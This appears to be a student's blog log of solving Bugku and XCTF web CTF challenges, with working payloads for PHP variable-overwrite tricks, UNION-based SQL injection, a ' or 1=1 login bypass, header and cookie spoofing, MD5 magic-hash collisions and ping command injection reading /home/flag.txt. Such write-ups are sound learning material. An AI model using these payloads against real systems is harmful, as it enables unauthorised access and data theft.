Noname's Blog
信息安全专业的小萌新,立志走上更大的舞台
四年一度的2月29日刷题记录

四年一度的2月29日刷题记录

Bugku

变量1

<?php  
error_reporting(0);
include "flag1.php";highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}?>

看到这个名字和源码中的$$想到了变量覆盖,include看到了包含的文件
正则表达式匹配的是[a-zA-Z0-9]

php中的超全局变量$GLOBALS,一个包含了全部变量的全局组合数组
payload:

?args=GLOBALS

vaa_dump()函数将$GLOBALS数组中存放的所有变量以数组的方式输出
包括flag

成绩单

SQL注入
首先判断共有多少列
orderby语句没爆出个所以然来,所以用了另一种方式吧

-1' union select 1,2,3,4# 回显正常

-1' union select 1,2,3,4,5# 无回显

-- 查库名
-1' union select 1,2,3,database()# 
或
-1' union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata)# 

-- 查表名
-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema="skctf_flag")# 得到fl4g, sc

-- 查字段名
-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name = 'fl4g')# 得到skctf_flag

-- 查询信息
-1' union select 1,2,3,skctf_flag from fl4g# 得到flag

备份是个好习惯

.bak文件是备份文件,所以应该需要找到和这种文件有关的信息

https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true

一个大佬写的工具,应该也是基于python2的,所以在Linux下运行
出了一点小插曲,
ImportError: cannot import name UnrewindableBodyError

pip uninstall urllib3

手动清除了包

pip install urllib3

bak.png
有一个.bak文件正在运行
访问
http://120.24.86.145:8002/web16/index.php.bak

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

有一些字符串处理的函数
strstr() 函数搜索字符串在另一字符串中的第一次出现,对大小写敏感
$_SERVER["REQUEST_URI"] 访问此页面所需的URI

所以就是将url中?及其之后的内容赋值给str,substr再将str中下标为1开始的内容赋值给str,str_replace再将str中的内容为key的字串删除,parse_str把查询字符串解析嗷变量中
之后就是md5碰撞,整挺好
所以这里也学到了双写来绕过的奇淫技巧

payload:

?kkeyey1=QNKCDZO&kkeyey2=240610708

注:其实按经验直接访问index.php.bak

你从哪里来

are you from google?
一副要改头的样子

Referer: https://www.google.com

web8

题目提示:txt?

<?php
extract($_GET);
if (!empty($ac))
{$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}?>

瞅了一眼flag.txt,里面有"flags"
再看一遍这个函数:
file_get_contents() 函数把整个文件读入一个字符串中。
所以传flag.txt进fn,就相当于把里面的内容flags赋给了f
所以只需要将flags赋值给ac,就能满足条件

?ac=flags&fn=flag.txt

查到有一种方法是利用php://input

?ac=1&fn=php://input
post: 1

字符?正则?

<?php 
highlight_file('2.php');$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z]c/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}?>

(正则真的是不会)
查几个特别不熟悉的
"V"代表"/"
[[:punct:]]代表任意一个字符包括各种符号
/i代表大小写不敏感
拼命凑出来一把payload

?id=key1keykeykeykey:///keya!

看到一些网上的payload(不小心忘收集了。。先空着)


程序员本地网站

这个题不知道怎么了。。
记录几个伪造IP的方法吧

Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1
Referer: 

Bugku论剑场

体验一下新的东西,主要还是学习新东西

web1

extract变量覆盖
bugku1.png

和bugku靶场里的很像
payload:

?a=&b=

web2

快速计算
python脚本

还有一种xpath写法

web3

web4

万能密码
用户名 admin
密码 1' or 1=1#

web5

SQL注入,但是不太知道在哪里进行手注,所以明天学一下sqlmap再做吧。。

web6

F12看源码,有一串base64编码,解码得 test123
user=admin&pass=test123 登录后提示 ...本地管理员
Burp截包->加头X-Forwarded-For: 127.0.0.1->Go得flag

web7

想吃小饼干吗 估计是和cookie有关
点击登录 被告知权限不够 先burp截包康康
8ee19575f58b599ebda8caa0e2edbc52.png
果然在cookie部分比以前复杂(tcl)
将r中的内容替换到u中

GET到新知识点:cookie欺骗

xctf

xctf-command_execution

这题转得好慢啊啊啊啊啊每条命令等半天

ping 127.0.0.1  随便试一下
ping 127.0.0.1;ls  发现可以执行
ping 127.0.0.1;ls /  到根目录看看有啥
ping 127.0.0.1;ls /home 看看家里有啥,结果有个flag.txt
ping 127.0.0.1;cat /home/flag.txt 把flag弄出来吧